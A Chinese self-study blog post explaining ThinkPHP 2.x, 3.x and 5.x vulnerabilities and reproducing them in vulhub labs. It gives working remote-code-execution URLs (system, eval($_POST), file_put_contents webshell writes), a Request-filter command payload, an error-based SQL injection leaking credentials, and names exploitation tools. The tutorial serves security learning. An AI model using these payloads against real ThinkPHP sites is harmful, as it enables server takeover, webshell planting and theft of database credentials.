ThinkPHP漏洞详解(自学)

ThinkPHP漏洞详解(自学)

码农世界 2024-06-12 后端 86 次浏览 0个评论

目录

Thinkphp简介

Thinkphp2.x远程代码执行漏洞

漏洞原理

影响版本

漏洞复现

Thinkphp3.x日志泄露

漏洞原理

影响版本

漏洞复现

Thinkphp5.x远程代码执行漏洞1

漏洞原理

影响版本

漏洞复现

Thinkphp5.x远程代码执行漏洞2

漏洞原理

影响版本

漏洞复现

Thinkphp5.x SQL注入漏洞和敏感信息泄露漏洞

漏洞原理

影响版本

漏洞复现

利用工具

TPscan

ThinkphpGUI

总结


Thinkphp简介

Thinkphp是一个快速、兼容而且简单的轻量级PHP开发框架。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

Thinkphp发展至今,主要有2.x、3.x、5.x、6.x系列,其中2.x和3.x系列官方已停止维护,5.x系列是目前使用最多的一个系列,而3.x系列比较多的老用户。

Thinkphp2.x远程代码执行漏洞

漏洞原理

在Thinkphp2.x版本中,以preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

/e修饰符它允许将替换字符串作为PHP代码执行,而不仅仅简单的替换操作。在匹配路由中,preg_replace函数中的/e修饰符导致替换字符串`$var[\'\\1\']="\\2";`(\1和\2表示正则表达式中的第一个和第二个捕获组的值)被当作PHP代码来执行。这意味着,如果输入参数中包含恶意代码,例如参数paths,攻击者就可以在这个漏洞执行任意的PHP代码。

不过,现在PHP已经将/e修饰符标志废弃。

影响版本

Thinkphp2.x、Thinkphp3.0

漏洞复现

打开目录,启动环境

cd vulhub/thinkphp/2-rce
docker-compose up -d

访问http://ip:8080即可

ThinkPHP漏洞详解(自学)

执行payload

http://ip:8080//index.php?s=/index/index/xxx/${system(id)}

ThinkPHP漏洞详解(自学)

getshell:

http://ip:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}

ThinkPHP漏洞详解(自学)

Thinkphp3.x日志泄露

漏洞原理

Thinkphp在开启debug的情况下会在Runtime目录下生成日志,而且debug很多网站会忘记关闭;且在Thinkphp默认安装时也会生成日志。这个漏洞是因为可以直接访问日志目录,然后可以看到泄露的Thinkphp日志文件。因为Thinkphp的日志文件含有很多敏感信息,所以漏洞比较严重。

Thinkphp3.1的默认日志目录为:

/Runtime/Logs/Home/【time】.log

Thinkphp3.2的默认日志目录为:

/Application/Runtime/Logs/Home/【time】.log

影响版本

Thinkphp3.1-3.2

漏洞复现

因为在vulhub中没有这个漏洞环境,所以这里暂不作复现。

感兴趣的可以自己去搜索,自行配置漏洞复现环境。

Thinkphp5.x远程代码执行漏洞1

漏洞原理

由于没有正确处理控制器名,导致默认情况下网站没有开启强制路由时,对传入的路由参数过滤不严格,导致攻击者可以执行任意方法,从而导致远程代码执行漏洞。

其中不同版本的payload不同:

5.0.x:

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=	// 写入shell

5.1.x:

?s=index/\think\Request/input&filter[]=system&data=pwd        //执行系统命令pwd是获取当前目录的命令
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=        //写入shell
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id    //执行任意命令
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id        //执行任意命令

影响版本

Thinkphp5.0.5-5.0.22、Thinkphp5.1.0-5.1.30

漏洞复现

这里复现的环境是5.0.20

打开目录,启动环境

cd vulhub/thinkphp/5-rce
docker-compose up -d

访问环境:http://ip:8080

ThinkPHP漏洞详解(自学)

访问POC,写入shell

http://192.168.15.249:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]= 

上传链接为:http://ip:8080/shell.php,用蚁剑连接

ThinkPHP漏洞详解(自学)

Thinkphp5.x远程代码执行漏洞2

漏洞原理

获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

Thinkphp5.0.0-5.0.23、Thinkphp5.1.0-5.1.30

漏洞复现

打开目录,启动环境

cd vulhub/thinkphp/5.0.23-rce/
docker-compose up -d

任意命令执行POC:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP漏洞详解(自学)

写入getshell,POC:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' >shell.php

访问路径http://ip:8080/shell.php

ThinkPHP漏洞详解(自学)

Thinkphp5.x SQL注入漏洞和敏感信息泄露漏洞

漏洞原理

传入的某个参数在绑定编译指令的时候没有进行安全处理(可以去了解原理背后的代码审计),预编译的时候会导致SQL异常报错。然而Thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄露数据库账户和密码。该漏洞关键是需要开启debug模式。

所谓预编译,就是当相同的SQL语句再次执行时,数据库只需使用缓冲区中的数据,而不需要对SQL语句再次编译,从而有效提高数据的访问效率。预编译也用来防护SQL注入。

影响版本

Thinkphp < 5.1.23

漏洞复现

打开目录,启动环境

cd vulhub/thinkphp/in-sqlinjection
docker-compose up -d

访问POC:

index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 

下拉发现泄露数据库名、账号即密码:

ThinkPHP漏洞详解(自学)

然后尝试进行远程连接

获取mysql主机ip

docker ps -a
docker inspect 容器ID

mysql远程连接

mysql -h [host] -r [username] -p[password] --port=[port_number]

ThinkPHP漏洞详解(自学)

利用工具

TPscan

Thinkphp漏洞检测工具,可以检测到14个常见的Thinkphp漏洞。

此工具运行需要gevent库,gevent库下载地址

Tpscan

ThinkphpGUI

是一款综合的Thinkphp检测和利用工具,能够命令执行、getshell等。

下载地址

总结

  • Thinkphp有2、3、5、6版本,需要比较关注的就是3(因为老用户用的最多)、5(现今使用的最多)、6(最新)
  • Thinkphp2.x的远程代码执行漏洞是因为PHP中的\e修饰符使得替换的字符串可以当做PHP代码执行,导致可以任意代码执行和getshell。但现在\e修饰符已经被舍去。
  • Thinkphp3.x的日志泄露漏洞是因为在debug开启和Thinkphp默认安装时会在Runtime目录下生成日志文件,且3.1和3.2版本可以任意访问日志路径
  • Thinkphp5.x的远程代码执行漏洞,一种是因为路由参数没有进行严格过滤导致可以执行任意函数,另一种是因为获取method的方法没有正确处理方法名,导致可以任意执行Request类中的函数。这两者都可以造成任意命令执行和getshell。
  • Thinkphp5.xSQL注入漏洞是因为没有对某个参数错误的时候进行正确的处理,导致可以进行报错注入回显出数据库的账号、密码和数据库名
  • 利用工具有TPscan和ThinkphpGUI

转载请注明来自码农世界,本文标题:《ThinkPHP漏洞详解(自学)》

百度分享代码,如果开启HTTPS请参考李洋个人博客
每一天,每一秒,你所做的决定都会改变你的人生!

发表评论

快捷回复:

评论列表 (暂无评论,86人围观)参与讨论

还没有评论,来说两句吧...

Top